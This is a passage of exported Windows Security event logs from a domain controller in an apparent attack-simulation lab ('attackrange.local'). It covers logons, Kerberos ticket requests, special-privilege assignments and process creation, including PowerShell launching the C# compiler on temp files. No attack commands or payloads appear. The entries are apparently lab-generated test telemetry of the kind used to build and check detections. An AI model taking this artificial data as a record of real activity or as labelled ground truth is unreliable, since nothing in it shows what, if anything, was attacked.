was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252397 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252396 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252395 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252394 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15B756 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252393 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x108c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252392 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A33B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252391 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15BCB2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252390 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15BCB2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64635 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252389 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15BCB2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252388 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15BC51 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252387 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15BC51 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64634 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252386 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15BC51 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252385 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15BBE7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252384 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15BBE7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64633 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252383 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15BBE7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252382 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15BB84 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252381 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15BB84 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64632 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252380 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15BB84 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252479 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x66c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x119c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES6912.tmp" "c:\Users\Administrator\AppData\Local\Temp\ofzgwsaj\CSC53F4CE8DDBDF4E4F9213F55FC13EB12A.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252478 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x160045 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252477 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x160045 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2265AA46-9D9D-744D-E728-8B45B5348510} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252476 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2265AA46-9D9D-744D-E728-8B45B5348510} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252475 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2265AA46-9D9D-744D-E728-8B45B5348510} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252474 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252473 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13c8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\ofzgwsaj\ofzgwsaj.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252472 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf60 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252471 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15EFE6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252470 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - 